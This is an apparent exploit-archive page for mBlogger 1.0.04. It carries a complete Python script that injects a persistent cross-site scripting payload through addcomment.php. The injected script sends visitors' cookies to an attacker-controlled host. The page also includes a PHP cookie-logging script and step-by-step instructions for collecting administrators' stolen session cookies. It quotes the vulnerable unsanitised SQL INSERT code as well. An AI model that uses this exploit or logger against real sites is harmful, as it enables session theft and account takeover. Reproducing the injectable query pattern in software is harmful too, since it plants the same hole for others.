we care because you do

mBlogger 1.0.04 Cross Site Scripting

mBlogger 1.0.04 Cross Site Scripting
Posted Sep 6, 2010
Authored by Ptrace Security

mBlogger version 1.0.04 addcomment.php persistent cross site scripting exploit.

tags | exploit, php, xss
MD5 | ac329602f53e933ab8d1c40e1f3484d2

mBlogger 1.0.04 Cross Site Scripting

Change Mirror Download
#!/usr/bin/python
#
# Exploit Title: mBlogger v1.0.04 (addcomment.php) Persistent XSS Exploit
# Date : 04 September 2010
# Author : Ptrace Security (Gianni Gnesa [gnix])
# Contact : research[at]ptrace-security[dot]com
# Software Link: http://sourceforge.net/projects/mblogger/
# Version : 1.0.04
# Tested on : EasyPHP 5.3.1.0 for Windows
#
#
# Description
# ===========
#
# + addcomment.php => An SQL Injection at line 32 allows to insert javascript
# that will be executed from the client's browser when he
# visits the page viewpost.php?postID=<number>.
#
# 29: $commentAuthor = $_POST['commentAuthor'];
# 30: $commentText = $_POST['commentText'];
# 31: $postID = $_GET['postID'];
# 32: $query = "INSERT INTO comments (user, comment, postid) VALUES
# ('$commentAuthor', '$commentText', '$postID')";
# 33: if(!mysql_query($query, $connection))
# 34: {
# 35: die("Error updating post: " . mysql_error());
# 36: }
#

import sys
import http.client
import urllib.parse


def fatal(message):
print(message)
exit(1)


def usage(program):
print('Usage : '+ program +' <victim> <mBlogger path> <attacker>\n')
print('Example: '+ program +' localhost /mBlogger/ localhost')
print(' '+ program +' www.victim.com /path/ www.attacker.com')
return


def getRemotePHPCode():
source = '<?php\n'
source += '$cs = explode("; ", $_GET[\'c\']);\n'
source += '$fp = fopen(\'data.txt\',\'a\');\n'
source += 'if(!empty($cs))\n'
source += ' foreach($cs as $k => $v) {\n'
source += ' if(preg_match("/^(.*?)\=(.*)$/", $v, $r))\n'
source += ' fwrite($fp,urldecode($r[1])."=".urldecode($r[2])."\\r\\n");\n'
source += ' else fwrite($fp, "cannot decode $v");\n'
source += ' }\n'
source += 'fclose($fp);\n'
source += '?>'
return source


def injectJavascript(victim, path, attacker):
payload = '<script>\nd=new Image;\nd.src=\"http://' + attacker
payload += '/c.php?c=\"+escape(document.cookie);\n</script>\n'

headers = {'Content-type':'application/x-www-form-urlencoded','Accept':'text/plain'}
params = urllib.parse.urlencode({'commentAuthor':'admin','commentText':payload,'submitcomment':'Submit'})
con = http.client.HTTPConnection(victim)

con.request('POST', path + 'addcomment.php?postID=1', params, headers)
res = con.getresponse()
if res.status != 200:
return False

con.close()
return True


def exploit(victim, path, attacker):
print('[+] Injecting Javascript')
success = injectJavascript(victim, path, attacker)
if not success:
fatal('[!] Injection failed')

print('[+] Generating PHP code for malicious site\n')
print(getRemotePHPCode() + '\n')

print('[?] Instruction to use this exploit:')
print(' 1. Save the previous code in http://' + attacker + '/c.php')
print(' 2. Wait that the administrator visits ')
print(' http://'+ victim +'/'+ path +'viewpost.php?postID=1')
print(' 3. Read stolen cookies from http://'+ attacker +'/' + 'data.txt')
return



print('\n+-----------------------------------------------------------------------------+')
print('| mBlogger v1.0.04 (addcomment.php) Persistent XSS Exploit by Ptrace Security |')
print('+-----------------------------------------------------------------------------+\n')

if len(sys.argv) != 4:
usage(sys.argv[0])
else:
exploit(sys.argv[1],sys.argv[2], sys.argv[3])

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    11 Files
  • 27
    May 27th
    8 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close